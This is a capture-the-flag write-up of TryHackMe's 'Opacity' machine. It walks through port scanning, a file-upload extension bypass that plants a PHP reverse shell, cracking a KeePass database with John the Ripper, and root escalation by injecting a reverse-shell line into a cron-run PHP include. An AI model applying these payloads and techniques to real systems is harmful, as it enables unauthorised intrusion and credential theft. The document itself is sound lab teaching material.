TryHackMe | Opacity
Writeup of an easy-rated Linux Machine from TryHackMe
Reconnaissance
Scanning
As always, let’s start our enumeration process by scanning the machine with Nmap
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ nmap -sC -sV -A -T4 -p- 10.10.25.135
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-29 03:02 EDT
Nmap scan report for 10.10.25.135
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0fee2910d98e8c53e64de3670c6ebee3 (RSA)
| 256 9542cdfc712799392d0049ad1be4cf0e (ECDSA)
|_ 256 edfe9c94ca9c086ff25ca6cf4d3c8e5b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Login
|_Requested resource was login.php
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2023-04-29T07:02:52
|_ start_date: N/A
|_nbstat: NetBIOS name: OPACITY, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 103.61 ms 10.8.0.1
2 98.12 ms 10.10.25.135
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.27 seconds
The target machine has 4 open ports:
- An SSH server
OpenSSH 8.2p1
running on port 22 - An HTTP server
Apache httpd 2.4.41
running on port 80 - Samba
smbd version 4.6.2
is running on ports139
and445
Port
139
is typically used forNetBIOS Session Service
Port
445
is used forServer Message Block
(SMB) over TCP
Service Enumeration
SSH - TCP 22
The version of OpenSSH 8.2p1
running on port 22 is linked to several vulnerabilities, including a Remote Code Execution vulnerability identified as CVE-2021-28041
, which enables attackers to execute arbitrary code on the targeted system. Unfortunately, despite spending hours searching the internet, I could not locate any helpful exploits that would provide me with initial access to the target machine.
SMB - TCP 445
CrackMapExec:
1
$ crackmapexec smb <IP>
- Running
crackmapexec
gives the hostname of the machine,OPACITY
, which is not associated with any domain.
Shares enumeration:
smbmap:
1
$ smbmap -H <IP>
smbmap
shows two sharesprint$
andIPC$
, which I don’t have sufficient permissions to access:
smbclient:
1
smbclient -N -L //<IP>
smbclient
also shows only two shares:IPC$
andprint$
:
HTTP - TCP 80
Website
Visiting the site in the browser redirects to a login page: http://IP/login.php
:
When it comes to login pages, the initial though is to search for methods to bypass authentication, such as exploiting SQL Injection
, using Default Credentials
, attempting Brute Force Attacks
on a known username and so on.
Testing Checklist:
- Default credentials such as
admin:admin
or aadmin:password
does not bypass authentication - We don’t have a valid username, which means we can’t use password brute forcing technique.
- The Web application does not seem to be vulnerable to basic SQL Injection
Directory Fuzzing
Gobuster:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -t 64 --no-error -x .php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://opacity.thm
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2023/04/30 05:13:31 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 302) [Size: 0] [--> login.php]
/login.php (Status: 200) [Size: 848]
/css (Status: 301) [Size: 308] [--> http://opacity.thm/css/]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/cloud (Status: 301) [Size: 310] [--> http://opacity.thm/cloud/]
...
Gobuster found some interesting directories:
/index.php
: redirects to/login.php
, which means we need to login before accessing the main pageindex.php
/login.php
: contains a login form where we can submit a username and a password/css
: returns a404 Not Found
page
logout.php
: redirects also tologin.php
/cloud
: returns a Personal Cloud Storage where we can upload images via an external URL
The file upload path looks like the one we should dig more into to get an initial access.
Initial Access
File Upload:
Uploading a file
The first thing to notice here, is that in order to upload a file, we should submit an external URL which links to the file you want to upload, and not simply drag and drop
or Select from filesystem
the file. With that said, we need to start a python webserver that will host the files we want to upload.
1
$ sudo python3 -m http.server 80
Understanding the file upload logic
After numerous uploading attempts, I came to the following conclusions:
- Only images can be uploaded to the server
- The Web App allows only files with image extensions like
.png
,.jpg
,.jpeg
,.gif
- The Web App apply checks on only file extension, which means it only checks whether the file being uploaded has an image extension or not. If it does, it will be uploaded, otherwise,
Please select an image
will be displayed. - The Web App does not apply checks via
Magic Bytes
, because uploading a real image without an extension is not allowed.
Shell as www-data:
With that said, we need to bypass the file extension check in order to upload a PHP reverse shell script and eventually get a shell. HackTricks has an excellent checklist to follow when it comes to bypassing file extensions. After going through, literally the entire list, I managed to get a shell by uploading the php-reverse-shell.php
script and appending #.png
to the URL
Steps to reproduce:
1- First of all, download the PHP script and extract the content of the archive:
1
2
$ wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
$ tar xvf php-reverse-shell-1.0.tar.gz
2- cd into php-reverse-shell-1.0
directory
3- Open php-reverse-shell.php
file in a text editor.
4- Change the values of the $ip
and $port
variables with your tun0
IP address and a port number of your choice, respectively, as shown below.
5- Start a netcat listener on the same port you specified in the PHP script:
1
$ nc -nlvp <PORT>
6- Upload the PHP file, by entering the following URL in the External URL box, and append #.png
to the URL:
1
http://<Your_IP>/php-reverse-shell.php#.png
7- If all went well, you should have received a shell on your netcat listener:
Shell Stabilization:
Let’s stabilize our shell, by running the following commands:
1
2
3
4
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z [Background Process]
stty raw -echo ; fg ;
Privilege Escalation
Shell as sysadmin
Enumeration:
Keepass database:
In the /opt
directory there is a Keepass
Password database dataset.kdbx
, which is owned by the user sysadmin
:
Keepass
is an open-source Password Manager that allows users to store and manage their passwords in a secure and encrypted database. It uses amaster password
to protect the database.
Let’s download the file in our attacking machine, after starting a python webserver on opacity
machine, that will host the dataset.kdbx
file:
- On
opacity
machine:
1
$ python3 -m http.server <PORT>
In order to open the database file, we can use keepassx
utility:
1
$ keepassx dataset.kdbx
- As expected, the database is protected by the Master Key.
Cracking the Master Key:
We can use JohnTheRipper
to crack the Master key. But first, we need to extract the hash from the database file. To do so, we can use keepass2john
utility:
1
$ keepass2john dataset.kdbx > keepassHash.txt
Now, we can use john
to crack the keepassHash.txt
hash file:
1
$ john --wordlist=/path/to/rockyou.txt keepassHash.txt
Access to database:
Having the master key, we can now access the database:
- And we have
sysadmin
’s password.
At first, I though that these credentials would be utilized on the/login.php
page, but my attempt proved unsuccessful. Therefore, the login page can be considered a “rabbit hole”
🚩 User Flag:
With that said, we can use these credentials to ssh as sysadmin
:
1
$ ssh sysadmin@10.10.10.10
📍 Note that you can also, from www-data
shell, switch to sysadmin
user, by just running su sysadmin
and entering sysadmin
password
Shell as root
Enumeration:
In sysadmin
’s home directory /home/sysadmin
, there is a folder named scripts
which contain a PHP file script.php
and a folder called lib
This PHP script performs two main tasks:
- It creates a backup of the
scripts
folder in the/home/sysadmin
directory, by calling thezipData
function from the scriptbackup.inc.php
located in thelib/
folder. - It deletes all the files in the
/var/www/html/cloud/images
directory using theunlink
function, if they are files, or thermdir
function is they are directories.
Additionally, the script is executed with root privileges every minute
, as per pspy
:
The script script.php
is owned by root and sysadmin
has only read privileges over the file, which means we cannot modify its content. But the script does call another PHP file, backup.inc.php
, which is located in a directory over which we have basically all privileges, which is lib/
.
Reverse shell:
Having said that, we can inject a reverse shell payload into the PHP script backup.inc.php
, and after the execution of script.php
, we should get a reverse shell back.
1- Let’s inject the following reverse shell payload in backup.inc.php
file:
1
$sock=fsockopen("tun0_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");
📍 You can find other PHP reverse shells here
2- Start a netcat listener on the port you specified in the reverse shell payload:
1
$ nc -nlvp PORT
3- After a minute, you should get a reverse shell back: